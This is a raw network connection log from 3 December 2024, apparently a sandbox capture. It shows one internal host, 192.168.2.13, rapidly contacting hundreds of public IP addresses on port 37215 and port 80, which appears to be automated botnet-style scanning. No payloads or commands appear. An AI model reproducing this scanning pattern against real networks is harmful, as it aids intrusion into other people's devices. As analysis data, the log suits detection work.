Dec 3, 2024 21:47:28.436695099 CET	52158	37215	192.168.2.13	197.155.147.73
Dec 3, 2024 21:47:28.468540907 CET	42064	37215	192.168.2.13	197.233.207.19
Dec 3, 2024 21:47:28.468544006 CET	56338	37215	192.168.2.13	41.84.2.171
Dec 3, 2024 21:47:28.468544006 CET	35092	37215	192.168.2.13	156.18.66.100
Dec 3, 2024 21:47:28.468553066 CET	41324	80	192.168.2.13	12.24.147.177
Dec 3, 2024 21:47:28.468556881 CET	60664	37215	192.168.2.13	41.193.68.101
Dec 3, 2024 21:47:28.468556881 CET	36962	80	192.168.2.13	72.97.142.213
Dec 3, 2024 21:47:28.468556881 CET	44718	37215	192.168.2.13	197.102.244.208
Dec 3, 2024 21:47:28.468559027 CET	45998	37215	192.168.2.13	41.227.92.100
Dec 3, 2024 21:47:28.468559027 CET	36022	37215	192.168.2.13	197.79.18.120
Dec 3, 2024 21:47:28.468570948 CET	44918	80	192.168.2.13	126.129.144.5
Dec 3, 2024 21:47:28.468573093 CET	56212	37215	192.168.2.13	41.179.108.209
Dec 3, 2024 21:47:28.468591928 CET	58702	80	192.168.2.13	107.213.65.9
Dec 3, 2024 21:47:28.557281971 CET	37215	50078	197.216.132.14	192.168.2.13
Dec 3, 2024 21:47:28.557302952 CET	37215	51382	41.130.219.75	192.168.2.13
Dec 3, 2024 21:47:28.557328939 CET	37215	36894	197.21.36.108	192.168.2.13
Dec 3, 2024 21:47:28.557343006 CET	37215	52946	156.230.149.174	192.168.2.13
Dec 3, 2024 21:47:28.557356119 CET	37215	47166	41.60.115.8	192.168.2.13
Dec 3, 2024 21:47:28.557385921 CET	37215	59424	41.196.63.217	192.168.2.13
Dec 3, 2024 21:47:28.557396889 CET	50078	37215	192.168.2.13	197.216.132.14
Dec 3, 2024 21:47:28.557408094 CET	36894	37215	192.168.2.13	197.21.36.108
Dec 3, 2024 21:47:28.557408094 CET	51382	37215	192.168.2.13	41.130.219.75
Dec 3, 2024 21:47:28.557420015 CET	37215	57922	156.224.249.242	192.168.2.13
Dec 3, 2024 21:47:28.557429075 CET	47166	37215	192.168.2.13	41.60.115.8
Dec 3, 2024 21:47:28.557430983 CET	52946	37215	192.168.2.13	156.230.149.174
Dec 3, 2024 21:47:28.557439089 CET	59424	37215	192.168.2.13	41.196.63.217
Dec 3, 2024 21:47:28.557450056 CET	37215	36822	41.78.110.252	192.168.2.13
Dec 3, 2024 21:47:28.557457924 CET	57922	37215	192.168.2.13	156.224.249.242
Dec 3, 2024 21:47:28.557463884 CET	37215	43638	197.131.66.97	192.168.2.13
Dec 3, 2024 21:47:28.557478905 CET	37215	59438	156.9.237.76	192.168.2.13
Dec 3, 2024 21:47:28.557492018 CET	36822	37215	192.168.2.13	41.78.110.252
Dec 3, 2024 21:47:28.557497978 CET	43638	37215	192.168.2.13	197.131.66.97
Dec 3, 2024 21:47:28.557502985 CET	37215	38350	197.57.94.143	192.168.2.13
Dec 3, 2024 21:47:28.557507038 CET	59438	37215	192.168.2.13	156.9.237.76
Dec 3, 2024 21:47:28.557518005 CET	37215	52036	156.137.59.179	192.168.2.13
Dec 3, 2024 21:47:28.557531118 CET	38350	37215	192.168.2.13	197.57.94.143
Dec 3, 2024 21:47:28.557552099 CET	52036	37215	192.168.2.13	156.137.59.179
Dec 3, 2024 21:47:28.557559013 CET	37215	42080	41.252.167.141	192.168.2.13
Dec 3, 2024 21:47:28.557568073 CET	36894	37215	192.168.2.13	197.21.36.108
Dec 3, 2024 21:47:28.557590961 CET	42080	37215	192.168.2.13	41.252.167.141
Dec 3, 2024 21:47:28.557598114 CET	59424	37215	192.168.2.13	41.196.63.217
Dec 3, 2024 21:47:28.557602882 CET	37215	59436	197.85.113.143	192.168.2.13
Dec 3, 2024 21:47:28.557602882 CET	57922	37215	192.168.2.13	156.224.249.242
Dec 3, 2024 21:47:28.557612896 CET	37215	50074	156.186.192.169	192.168.2.13
Dec 3, 2024 21:47:28.557621956 CET	51382	37215	192.168.2.13	41.130.219.75
Dec 3, 2024 21:47:28.557622910 CET	50078	37215	192.168.2.13	197.216.132.14
Dec 3, 2024 21:47:28.557629108 CET	52946	37215	192.168.2.13	156.230.149.174
Dec 3, 2024 21:47:28.557630062 CET	59436	37215	192.168.2.13	197.85.113.143
Dec 3, 2024 21:47:28.557637930 CET	37215	60302	156.167.186.216	192.168.2.13
Dec 3, 2024 21:47:28.557636976 CET	50074	37215	192.168.2.13	156.186.192.169
Dec 3, 2024 21:47:28.557650089 CET	47166	37215	192.168.2.13	41.60.115.8
Dec 3, 2024 21:47:28.557672024 CET	60302	37215	192.168.2.13	156.167.186.216
Dec 3, 2024 21:47:28.557682037 CET	37215	37868	197.66.54.252	192.168.2.13
Dec 3, 2024 21:47:28.557689905 CET	34043	37215	192.168.2.13	197.110.202.156
Dec 3, 2024 21:47:28.557689905 CET	34043	37215	192.168.2.13	41.46.145.243
Dec 3, 2024 21:47:28.557710886 CET	37215	41522	41.206.100.21	192.168.2.13
Dec 3, 2024 21:47:28.557719946 CET	34043	37215	192.168.2.13	197.169.82.27
Dec 3, 2024 21:47:28.557719946 CET	34043	37215	192.168.2.13	156.63.43.37
Dec 3, 2024 21:47:28.557719946 CET	37868	37215	192.168.2.13	197.66.54.252
Dec 3, 2024 21:47:28.557720900 CET	37215	47746	156.227.147.148	192.168.2.13
Dec 3, 2024 21:47:28.557722092 CET	34043	37215	192.168.2.13	41.173.136.87
Dec 3, 2024 21:47:28.557730913 CET	34043	37215	192.168.2.13	197.6.106.254
Dec 3, 2024 21:47:28.557732105 CET	34043	37215	192.168.2.13	41.63.17.195
Dec 3, 2024 21:47:28.557748079 CET	41522	37215	192.168.2.13	41.206.100.21
Dec 3, 2024 21:47:28.557751894 CET	34043	37215	192.168.2.13	197.18.43.124
Dec 3, 2024 21:47:28.557750940 CET	34043	37215	192.168.2.13	156.214.216.238
Dec 3, 2024 21:47:28.557751894 CET	47746	37215	192.168.2.13	156.227.147.148
Dec 3, 2024 21:47:28.557759047 CET	34043	37215	192.168.2.13	197.216.73.25
Dec 3, 2024 21:47:28.557773113 CET	34043	37215	192.168.2.13	197.166.195.6
Dec 3, 2024 21:47:28.557776928 CET	34043	37215	192.168.2.13	197.12.41.9
Dec 3, 2024 21:47:28.557780027 CET	34043	37215	192.168.2.13	197.163.69.247
Dec 3, 2024 21:47:28.557785034 CET	34043	37215	192.168.2.13	197.143.158.54
Dec 3, 2024 21:47:28.557786942 CET	34043	37215	192.168.2.13	41.245.46.124
Dec 3, 2024 21:47:28.557792902 CET	34043	37215	192.168.2.13	41.159.192.59
Dec 3, 2024 21:47:28.557801962 CET	34043	37215	192.168.2.13	156.202.124.160
Dec 3, 2024 21:47:28.557807922 CET	34043	37215	192.168.2.13	41.148.104.127
Dec 3, 2024 21:47:28.557826042 CET	34043	37215	192.168.2.13	156.172.166.24
Dec 3, 2024 21:47:28.557830095 CET	34043	37215	192.168.2.13	197.149.165.119
Dec 3, 2024 21:47:28.557831049 CET	34043	37215	192.168.2.13	197.235.118.104
Dec 3, 2024 21:47:28.557837009 CET	34043	37215	192.168.2.13	156.29.204.222
Dec 3, 2024 21:47:28.557848930 CET	37215	34616	41.11.208.38	192.168.2.13
Dec 3, 2024 21:47:28.557853937 CET	34043	37215	192.168.2.13	156.10.116.181
Dec 3, 2024 21:47:28.557856083 CET	34043	37215	192.168.2.13	197.161.230.228
Dec 3, 2024 21:47:28.557856083 CET	34043	37215	192.168.2.13	41.63.118.204
Dec 3, 2024 21:47:28.557862997 CET	37215	44430	41.59.158.178	192.168.2.13
Dec 3, 2024 21:47:28.557868958 CET	34043	37215	192.168.2.13	156.136.33.77
Dec 3, 2024 21:47:28.557872057 CET	34043	37215	192.168.2.13	41.206.21.121
Dec 3, 2024 21:47:28.557873011 CET	34043	37215	192.168.2.13	197.181.80.249
Dec 3, 2024 21:47:28.557874918 CET	34043	37215	192.168.2.13	156.187.93.1
Dec 3, 2024 21:47:28.557876110 CET	34616	37215	192.168.2.13	41.11.208.38
Dec 3, 2024 21:47:28.557883024 CET	34043	37215	192.168.2.13	197.15.252.228
Dec 3, 2024 21:47:28.557883978 CET	34043	37215	192.168.2.13	41.21.70.76
Dec 3, 2024 21:47:28.557890892 CET	37215	47828	156.18.176.47	192.168.2.13
Dec 3, 2024 21:47:28.557892084 CET	44430	37215	192.168.2.13	41.59.158.178
Dec 3, 2024 21:47:28.557898045 CET	34043	37215	192.168.2.13	41.195.246.7
Dec 3, 2024 21:47:28.557902098 CET	34043	37215	192.168.2.13	156.3.135.149
Dec 3, 2024 21:47:28.557905912 CET	37215	33376	41.204.185.224	192.168.2.13
Dec 3, 2024 21:47:28.557907104 CET	34043	37215	192.168.2.13	156.9.29.114
Dec 3, 2024 21:47:28.557909966 CET	34043	37215	192.168.2.13	156.145.20.87
Dec 3, 2024 21:47:28.557923079 CET	37215	46448	197.101.126.167	192.168.2.13
Dec 3, 2024 21:47:28.557924986 CET	47828	37215	192.168.2.13	156.18.176.47
Dec 3, 2024 21:47:28.557928085 CET	34043	37215	192.168.2.13	156.130.127.58
Dec 3, 2024 21:47:28.557928085 CET	34043	37215	192.168.2.13	41.152.122.208
Dec 3, 2024 21:47:28.557935953 CET	33376	37215	192.168.2.13	41.204.185.224
Dec 3, 2024 21:47:28.557950020 CET	34043	37215	192.168.2.13	197.241.123.125
Dec 3, 2024 21:47:28.557951927 CET	34043	37215	192.168.2.13	41.80.23.30
Dec 3, 2024 21:47:28.557951927 CET	34043	37215	192.168.2.13	156.21.96.147
Dec 3, 2024 21:47:28.557955027 CET	46448	37215	192.168.2.13	197.101.126.167
Dec 3, 2024 21:47:28.557981968 CET	34043	37215	192.168.2.13	41.109.223.207
Dec 3, 2024 21:47:28.557988882 CET	34043	37215	192.168.2.13	156.104.207.214
Dec 3, 2024 21:47:28.557990074 CET	34043	37215	192.168.2.13	156.117.237.152
Dec 3, 2024 21:47:28.557990074 CET	34043	37215	192.168.2.13	156.162.254.88
Dec 3, 2024 21:47:28.557992935 CET	34043	37215	192.168.2.13	156.167.44.168
Dec 3, 2024 21:47:28.557992935 CET	34043	37215	192.168.2.13	156.94.211.71
Dec 3, 2024 21:47:28.557996988 CET	34043	37215	192.168.2.13	41.46.28.36
Dec 3, 2024 21:47:28.558006048 CET	34043	37215	192.168.2.13	41.121.171.143
Dec 3, 2024 21:47:28.558011055 CET	34043	37215	192.168.2.13	156.138.8.45
Dec 3, 2024 21:47:28.558011055 CET	34043	37215	192.168.2.13	197.54.130.34
Dec 3, 2024 21:47:28.558011055 CET	34043	37215	192.168.2.13	41.189.191.14
Dec 3, 2024 21:47:28.558017015 CET	34043	37215	192.168.2.13	41.134.58.139
Dec 3, 2024 21:47:28.558017015 CET	34043	37215	192.168.2.13	156.63.100.180
Dec 3, 2024 21:47:28.558018923 CET	34043	37215	192.168.2.13	197.167.139.158
Dec 3, 2024 21:47:28.558018923 CET	34043	37215	192.168.2.13	197.40.228.8
Dec 3, 2024 21:47:28.558018923 CET	34043	37215	192.168.2.13	197.236.11.226
Dec 3, 2024 21:47:28.558023930 CET	34043	37215	192.168.2.13	41.53.237.46
Dec 3, 2024 21:47:28.558024883 CET	34043	37215	192.168.2.13	41.236.245.191
Dec 3, 2024 21:47:28.558028936 CET	34043	37215	192.168.2.13	41.211.224.64
Dec 3, 2024 21:47:28.558032036 CET	34043	37215	192.168.2.13	41.150.120.77
Dec 3, 2024 21:47:28.558033943 CET	34043	37215	192.168.2.13	197.84.30.150
Dec 3, 2024 21:47:28.558037996 CET	34043	37215	192.168.2.13	197.85.58.52
Dec 3, 2024 21:47:28.558038950 CET	34043	37215	192.168.2.13	197.135.175.73
Dec 3, 2024 21:47:28.558038950 CET	34043	37215	192.168.2.13	197.229.227.55
Dec 3, 2024 21:47:28.558041096 CET	34043	37215	192.168.2.13	41.193.136.99
Dec 3, 2024 21:47:28.558042049 CET	34043	37215	192.168.2.13	41.176.37.166
Dec 3, 2024 21:47:28.558068991 CET	34043	37215	192.168.2.13	41.175.124.84
Dec 3, 2024 21:47:28.558069944 CET	34043	37215	192.168.2.13	156.117.141.237
Dec 3, 2024 21:47:28.558070898 CET	34043	37215	192.168.2.13	41.220.170.165
Dec 3, 2024 21:47:28.558070898 CET	34043	37215	192.168.2.13	197.116.145.92
Dec 3, 2024 21:47:28.558070898 CET	34043	37215	192.168.2.13	197.215.113.26
Dec 3, 2024 21:47:28.558070898 CET	34043	37215	192.168.2.13	197.33.168.141
Dec 3, 2024 21:47:28.558079958 CET	34043	37215	192.168.2.13	156.189.94.241
Dec 3, 2024 21:47:28.558085918 CET	34043	37215	192.168.2.13	197.210.251.25
Dec 3, 2024 21:47:28.558085918 CET	34043	37215	192.168.2.13	197.216.175.77
Dec 3, 2024 21:47:28.558085918 CET	34043	37215	192.168.2.13	156.132.40.24
Dec 3, 2024 21:47:28.558085918 CET	34043	37215	192.168.2.13	156.134.104.180
Dec 3, 2024 21:47:28.558090925 CET	34043	37215	192.168.2.13	41.97.31.250
Dec 3, 2024 21:47:28.558090925 CET	34043	37215	192.168.2.13	156.229.129.147
Dec 3, 2024 21:47:28.558101892 CET	34043	37215	192.168.2.13	156.75.104.230
Dec 3, 2024 21:47:28.558109045 CET	34043	37215	192.168.2.13	156.213.92.255
Dec 3, 2024 21:47:28.558125019 CET	34043	37215	192.168.2.13	156.133.235.69
Dec 3, 2024 21:47:28.558125019 CET	34043	37215	192.168.2.13	197.67.4.111
Dec 3, 2024 21:47:28.558125973 CET	34043	37215	192.168.2.13	41.128.236.66
Dec 3, 2024 21:47:28.558140039 CET	34043	37215	192.168.2.13	41.98.170.200
Dec 3, 2024 21:47:28.558146000 CET	34043	37215	192.168.2.13	41.25.12.46
Dec 3, 2024 21:47:28.558150053 CET	34043	37215	192.168.2.13	156.169.177.194
Dec 3, 2024 21:47:28.558152914 CET	34043	37215	192.168.2.13	41.92.221.243
Dec 3, 2024 21:47:28.558161974 CET	34043	37215	192.168.2.13	197.143.171.224
Dec 3, 2024 21:47:28.558187008 CET	34043	37215	192.168.2.13	156.10.116.86
Dec 3, 2024 21:47:28.558187962 CET	34043	37215	192.168.2.13	41.141.21.173
Dec 3, 2024 21:47:28.558187962 CET	34043	37215	192.168.2.13	156.33.14.155
Dec 3, 2024 21:47:28.558199883 CET	34043	37215	192.168.2.13	197.200.82.104
Dec 3, 2024 21:47:28.558212996 CET	34043	37215	192.168.2.13	197.171.250.25
Dec 3, 2024 21:47:28.558214903 CET	34043	37215	192.168.2.13	41.139.13.240
Dec 3, 2024 21:47:28.558218002 CET	37215	43274	197.191.47.123	192.168.2.13
Dec 3, 2024 21:47:28.558224916 CET	34043	37215	192.168.2.13	156.168.224.87
Dec 3, 2024 21:47:28.558232069 CET	34043	37215	192.168.2.13	197.249.12.209
Dec 3, 2024 21:47:28.558240891 CET	34043	37215	192.168.2.13	41.178.72.73
Dec 3, 2024 21:47:28.558249950 CET	43274	37215	192.168.2.13	197.191.47.123
Dec 3, 2024 21:47:28.558263063 CET	34043	37215	192.168.2.13	197.220.4.66
Dec 3, 2024 21:47:28.558265924 CET	34043	37215	192.168.2.13	41.139.234.145
Dec 3, 2024 21:47:28.558271885 CET	34043	37215	192.168.2.13	156.52.89.66
Dec 3, 2024 21:47:28.558273077 CET	34043	37215	192.168.2.13	197.1.197.173
Dec 3, 2024 21:47:28.558274031 CET	34043	37215	192.168.2.13	197.224.57.204
Dec 3, 2024 21:47:28.558274031 CET	34043	37215	192.168.2.13	41.244.13.217
Dec 3, 2024 21:47:28.558284044 CET	34043	37215	192.168.2.13	41.71.36.63
Dec 3, 2024 21:47:28.558286905 CET	34043	37215	192.168.2.13	156.124.199.149
Dec 3, 2024 21:47:28.558294058 CET	37215	34712	197.105.1.48	192.168.2.13
Dec 3, 2024 21:47:28.558294058 CET	34043	37215	192.168.2.13	41.77.65.45
Dec 3, 2024 21:47:28.558300018 CET	34043	37215	192.168.2.13	197.254.102.213
Dec 3, 2024 21:47:28.558307886 CET	37215	58248	156.241.177.227	192.168.2.13
Dec 3, 2024 21:47:28.558309078 CET	34043	37215	192.168.2.13	41.160.246.159
Dec 3, 2024 21:47:28.558309078 CET	34043	37215	192.168.2.13	156.204.23.175
Dec 3, 2024 21:47:28.558326006 CET	34043	37215	192.168.2.13	197.196.202.172
Dec 3, 2024 21:47:28.558329105 CET	34043	37215	192.168.2.13	156.129.40.46
Dec 3, 2024 21:47:28.558335066 CET	58248	37215	192.168.2.13	156.241.177.227
Dec 3, 2024 21:47:28.558337927 CET	37215	35176	197.189.180.232	192.168.2.13
Dec 3, 2024 21:47:28.558343887 CET	34712	37215	192.168.2.13	197.105.1.48
Dec 3, 2024 21:47:28.558346033 CET	34043	37215	192.168.2.13	156.245.36.187
Dec 3, 2024 21:47:28.558356047 CET	34043	37215	192.168.2.13	41.132.80.116
Dec 3, 2024 21:47:28.558362961 CET	37215	42340	197.22.134.226	192.168.2.13
Dec 3, 2024 21:47:28.558363914 CET	34043	37215	192.168.2.13	41.171.140.45
Dec 3, 2024 21:47:28.558372021 CET	34043	37215	192.168.2.13	156.4.76.212
Dec 3, 2024 21:47:28.558377981 CET	34043	37215	192.168.2.13	156.183.65.249
Dec 3, 2024 21:47:28.558377981 CET	37215	47886	197.241.234.235	192.168.2.13
Dec 3, 2024 21:47:28.558384895 CET	34043	37215	192.168.2.13	197.160.49.110
Dec 3, 2024 21:47:28.558387995 CET	34043	37215	192.168.2.13	156.207.196.129
Dec 3, 2024 21:47:28.558396101 CET	34043	37215	192.168.2.13	197.141.87.34
Dec 3, 2024 21:47:28.558402061 CET	47886	37215	192.168.2.13	197.241.234.235
Dec 3, 2024 21:47:28.558412075 CET	34043	37215	192.168.2.13	197.147.171.146
Dec 3, 2024 21:47:28.558415890 CET	37215	52154	156.41.38.126	192.168.2.13
Dec 3, 2024 21:47:28.558419943 CET	34043	37215	192.168.2.13	197.250.21.200
Dec 3, 2024 21:47:28.558425903 CET	37215	55592	156.155.65.188	192.168.2.13
Dec 3, 2024 21:47:28.558428049 CET	34043	37215	192.168.2.13	156.223.108.241
Dec 3, 2024 21:47:28.558429956 CET	34043	37215	192.168.2.13	156.158.112.57
Dec 3, 2024 21:47:28.558435917 CET	34043	37215	192.168.2.13	156.84.141.103
Dec 3, 2024 21:47:28.558444023 CET	34043	37215	192.168.2.13	41.12.165.204
Dec 3, 2024 21:47:28.558448076 CET	37215	60304	156.142.143.175	192.168.2.13
Dec 3, 2024 21:47:28.558465004 CET	55592	37215	192.168.2.13	156.155.65.188
Dec 3, 2024 21:47:28.558465004 CET	34043	37215	192.168.2.13	41.0.40.33
Dec 3, 2024 21:47:28.558470964 CET	37215	47088	156.244.170.80	192.168.2.13
Dec 3, 2024 21:47:28.558473110 CET	34043	37215	192.168.2.13	197.20.148.67
Dec 3, 2024 21:47:28.558474064 CET	34043	37215	192.168.2.13	156.160.136.147
Dec 3, 2024 21:47:28.558485985 CET	34043	37215	192.168.2.13	156.24.58.180
Dec 3, 2024 21:47:28.558487892 CET	34043	37215	192.168.2.13	156.198.64.8
Dec 3, 2024 21:47:28.558489084 CET	37215	36874	41.26.12.27	192.168.2.13
Dec 3, 2024 21:47:28.558499098 CET	34043	37215	192.168.2.13	156.62.121.111
Dec 3, 2024 21:47:28.558509111 CET	34043	37215	192.168.2.13	197.173.133.242
Dec 3, 2024 21:47:28.558510065 CET	52154	37215	192.168.2.13	156.41.38.126
Dec 3, 2024 21:47:28.558517933 CET	34043	37215	192.168.2.13	197.51.188.232
Dec 3, 2024 21:47:28.558520079 CET	34043	37215	192.168.2.13	41.106.95.139
Dec 3, 2024 21:47:28.558521986 CET	34043	37215	192.168.2.13	41.158.95.98
Dec 3, 2024 21:47:28.558528900 CET	37215	52158	197.155.147.73	192.168.2.13
Dec 3, 2024 21:47:28.558541059 CET	34043	37215	192.168.2.13	197.37.228.53
Dec 3, 2024 21:47:28.558542013 CET	34043	37215	192.168.2.13	41.198.255.50
Dec 3, 2024 21:47:28.558543921 CET	34043	37215	192.168.2.13	156.217.7.124
Dec 3, 2024 21:47:28.558557987 CET	34043	37215	192.168.2.13	197.23.244.18
Dec 3, 2024 21:47:28.558559895 CET	34043	37215	192.168.2.13	41.147.213.65
Dec 3, 2024 21:47:28.558572054 CET	34043	37215	192.168.2.13	197.93.57.255
Dec 3, 2024 21:47:28.558583975 CET	34043	37215	192.168.2.13	41.79.206.88
Dec 3, 2024 21:47:28.558585882 CET	34043	37215	192.168.2.13	41.243.93.229
Dec 3, 2024 21:47:28.558593035 CET	34043	37215	192.168.2.13	156.229.52.187
Dec 3, 2024 21:47:28.558598042 CET	34043	37215	192.168.2.13	156.55.112.2
Dec 3, 2024 21:47:28.558598995 CET	34043	37215	192.168.2.13	197.1.108.32
Dec 3, 2024 21:47:28.558617115 CET	34043	37215	192.168.2.13	156.129.102.219
Dec 3, 2024 21:47:28.558617115 CET	34043	37215	192.168.2.13	197.141.4.80
Dec 3, 2024 21:47:28.558623075 CET	34043	37215	192.168.2.13	197.195.58.236
Dec 3, 2024 21:47:28.558629036 CET	34043	37215	192.168.2.13	41.34.72.209
Dec 3, 2024 21:47:28.558636904 CET	34043	37215	192.168.2.13	41.1.235.39
Dec 3, 2024 21:47:28.558640957 CET	34043	37215	192.168.2.13	156.161.37.119
Dec 3, 2024 21:47:28.558641911 CET	34043	37215	192.168.2.13	197.237.42.63
Dec 3, 2024 21:47:28.558660984 CET	34043	37215	192.168.2.13	197.158.110.68
Dec 3, 2024 21:47:28.558664083 CET	34043	37215	192.168.2.13	156.133.25.203
Dec 3, 2024 21:47:28.558665037 CET	47088	37215	192.168.2.13	156.244.170.80
Dec 3, 2024 21:47:28.558666945 CET	34043	37215	192.168.2.13	41.246.219.66
Dec 3, 2024 21:47:28.558679104 CET	34043	37215	192.168.2.13	197.84.53.27
Dec 3, 2024 21:47:28.558687925 CET	34043	37215	192.168.2.13	41.219.139.228
Dec 3, 2024 21:47:28.558689117 CET	34043	37215	192.168.2.13	156.57.110.153
Dec 3, 2024 21:47:28.558695078 CET	34043	37215	192.168.2.13	156.202.101.215
Dec 3, 2024 21:47:28.558707952 CET	34043	37215	192.168.2.13	41.26.233.151
Dec 3, 2024 21:47:28.558706999 CET	34043	37215	192.168.2.13	197.251.224.26
Dec 3, 2024 21:47:28.558713913 CET	34043	37215	192.168.2.13	197.15.67.78
Dec 3, 2024 21:47:28.558725119 CET	34043	37215	192.168.2.13	197.29.210.2
Dec 3, 2024 21:47:28.558727980 CET	34043	37215	192.168.2.13	41.26.45.242
Dec 3, 2024 21:47:28.558727980 CET	34043	37215	192.168.2.13	156.136.103.136
Dec 3, 2024 21:47:28.558748007 CET	34043	37215	192.168.2.13	41.22.145.43
Dec 3, 2024 21:47:28.558749914 CET	52158	37215	192.168.2.13	197.155.147.73
Dec 3, 2024 21:47:28.558758020 CET	34043	37215	192.168.2.13	156.180.217.144
Dec 3, 2024 21:47:28.558763027 CET	34043	37215	192.168.2.13	197.188.211.100
Dec 3, 2024 21:47:28.558764935 CET	34043	37215	192.168.2.13	197.64.66.178
Dec 3, 2024 21:47:28.558764935 CET	34043	37215	192.168.2.13	41.56.74.85
Dec 3, 2024 21:47:28.558767080 CET	34043	37215	192.168.2.13	41.198.64.60
Dec 3, 2024 21:47:28.558784962 CET	34043	37215	192.168.2.13	156.225.14.120
Dec 3, 2024 21:47:28.558929920 CET	34043	37215	192.168.2.13	41.21.12.190
Dec 3, 2024 21:47:28.558929920 CET	60304	37215	192.168.2.13	156.142.143.175
Dec 3, 2024 21:47:28.558929920 CET	34043	37215	192.168.2.13	156.26.61.35
Dec 3, 2024 21:47:28.558943987 CET	34043	37215	192.168.2.13	156.43.88.213
Dec 3, 2024 21:47:28.558943987 CET	34043	37215	192.168.2.13	41.135.164.19
Dec 3, 2024 21:47:28.558943987 CET	34043	37215	192.168.2.13	156.9.221.154
Dec 3, 2024 21:47:28.558944941 CET	34043	37215	192.168.2.13	156.122.134.27
Dec 3, 2024 21:47:28.558948994 CET	34043	37215	192.168.2.13	197.92.229.53
Dec 3, 2024 21:47:28.558948994 CET	36874	37215	192.168.2.13	41.26.12.27
Dec 3, 2024 21:47:28.558948994 CET	34043	37215	192.168.2.13	197.199.150.240
Dec 3, 2024 21:47:28.558949947 CET	34043	37215	192.168.2.13	41.57.83.116
Dec 3, 2024 21:47:28.558949947 CET	34043	37215	192.168.2.13	197.218.112.186
Dec 3, 2024 21:47:28.558949947 CET	34043	37215	192.168.2.13	197.145.126.70
Dec 3, 2024 21:47:28.558954000 CET	34043	37215	192.168.2.13	197.244.110.66
Dec 3, 2024 21:47:28.558954000 CET	34043	37215	192.168.2.13	197.74.214.115
Dec 3, 2024 21:47:28.558954000 CET	34043	37215	192.168.2.13	197.123.133.191
Dec 3, 2024 21:47:28.558954000 CET	34043	37215	192.168.2.13	156.114.254.82
Dec 3, 2024 21:47:28.558954000 CET	34043	37215	192.168.2.13	41.36.24.4
Dec 3, 2024 21:47:28.558955908 CET	34043	37215	192.168.2.13	197.108.3.52
Dec 3, 2024 21:47:28.558954000 CET	34043	37215	192.168.2.13	41.195.188.64
Dec 3, 2024 21:47:28.558955908 CET	34043	37215	192.168.2.13	156.101.173.26
Dec 3, 2024 21:47:28.558954000 CET	34043	37215	192.168.2.13	41.240.171.175
Dec 3, 2024 21:47:28.558955908 CET	34043	37215	192.168.2.13	41.31.253.8
Dec 3, 2024 21:47:28.558955908 CET	34043	37215	192.168.2.13	197.164.127.142
Dec 3, 2024 21:47:28.558955908 CET	34043	37215	192.168.2.13	41.157.187.75
Dec 3, 2024 21:47:28.558955908 CET	34043	37215	192.168.2.13	156.152.181.248
Dec 3, 2024 21:47:28.558958054 CET	34043	37215	192.168.2.13	197.134.239.159
Dec 3, 2024 21:47:28.558958054 CET	34043	37215	192.168.2.13	156.27.55.172
Dec 3, 2024 21:47:28.558958054 CET	34043	37215	192.168.2.13	197.24.132.179
Dec 3, 2024 21:47:28.558958054 CET	34043	37215	192.168.2.13	197.229.175.110
Dec 3, 2024 21:47:28.558959007 CET	34043	37215	192.168.2.13	197.123.94.230
Dec 3, 2024 21:47:28.558959961 CET	34043	37215	192.168.2.13	197.186.164.148
Dec 3, 2024 21:47:28.558959961 CET	35176	37215	192.168.2.13	197.189.180.232
Dec 3, 2024 21:47:28.558959961 CET	34043	37215	192.168.2.13	41.144.99.80
Dec 3, 2024 21:47:28.558959961 CET	34043	37215	192.168.2.13	41.93.205.197
Dec 3, 2024 21:47:28.558959961 CET	34043	37215	192.168.2.13	41.10.181.159
Dec 3, 2024 21:47:28.558959961 CET	34043	37215	192.168.2.13	156.96.175.185
Dec 3, 2024 21:47:28.559031963 CET	34043	37215	192.168.2.13	197.224.208.179
Dec 3, 2024 21:47:28.559031963 CET	34043	37215	192.168.2.13	197.92.248.110
Dec 3, 2024 21:47:28.559032917 CET	34043	37215	192.168.2.13	156.3.204.127
Dec 3, 2024 21:47:28.559032917 CET	34043	37215	192.168.2.13	156.220.41.209
Dec 3, 2024 21:47:28.559032917 CET	34043	37215	192.168.2.13	41.241.148.222
Dec 3, 2024 21:47:28.559032917 CET	34043	37215	192.168.2.13	197.125.112.254
Dec 3, 2024 21:47:28.559032917 CET	34043	37215	192.168.2.13	41.137.44.57
Dec 3, 2024 21:47:28.559035063 CET	34043	37215	192.168.2.13	197.119.172.33
Dec 3, 2024 21:47:28.559032917 CET	34043	37215	192.168.2.13	156.189.226.25
Dec 3, 2024 21:47:28.559036016 CET	34043	37215	192.168.2.13	41.183.239.137
Dec 3, 2024 21:47:28.559036016 CET	34043	37215	192.168.2.13	156.58.241.250
Dec 3, 2024 21:47:28.559036970 CET	34043	37215	192.168.2.13	197.153.214.79
Dec 3, 2024 21:47:28.559035063 CET	34043	37215	192.168.2.13	41.75.121.169
Dec 3, 2024 21:47:28.559039116 CET	34043	37215	192.168.2.13	41.205.78.202
Dec 3, 2024 21:47:28.559039116 CET	34043	37215	192.168.2.13	41.157.183.231
Dec 3, 2024 21:47:28.559036016 CET	34043	37215	192.168.2.13	41.101.179.185
Dec 3, 2024 21:47:28.559036016 CET	34043	37215	192.168.2.13	156.232.221.45
Dec 3, 2024 21:47:28.559036016 CET	34043	37215	192.168.2.13	156.77.25.177
Dec 3, 2024 21:47:28.559036970 CET	34043	37215	192.168.2.13	156.87.151.141
Dec 3, 2024 21:47:28.559036016 CET	34043	37215	192.168.2.13	156.131.4.44
Dec 3, 2024 21:47:28.559036970 CET	34043	37215	192.168.2.13	41.64.35.193
Dec 3, 2024 21:47:28.559043884 CET	34043	37215	192.168.2.13	197.198.244.7
Dec 3, 2024 21:47:28.559039116 CET	34043	37215	192.168.2.13	197.127.47.216
Dec 3, 2024 21:47:28.559036970 CET	34043	37215	192.168.2.13	197.39.106.63
Dec 3, 2024 21:47:28.559035063 CET	34043	37215	192.168.2.13	41.197.59.217
Dec 3, 2024 21:47:28.559043884 CET	34043	37215	192.168.2.13	197.36.79.217
Dec 3, 2024 21:47:28.559035063 CET	34043	37215	192.168.2.13	197.80.96.157
Dec 3, 2024 21:47:28.559039116 CET	34043	37215	192.168.2.13	41.253.98.202
Dec 3, 2024 21:47:28.559039116 CET	34043	37215	192.168.2.13	197.201.30.192
Dec 3, 2024 21:47:28.559036970 CET	34043	37215	192.168.2.13	197.204.150.173
Dec 3, 2024 21:47:28.559036016 CET	34043	37215	192.168.2.13	41.247.181.24
Dec 3, 2024 21:47:28.559039116 CET	34043	37215	192.168.2.13	197.179.134.100
Dec 3, 2024 21:47:28.559039116 CET	34043	37215	192.168.2.13	156.193.67.52
Dec 3, 2024 21:47:28.559039116 CET	34043	37215	192.168.2.13	197.11.120.58
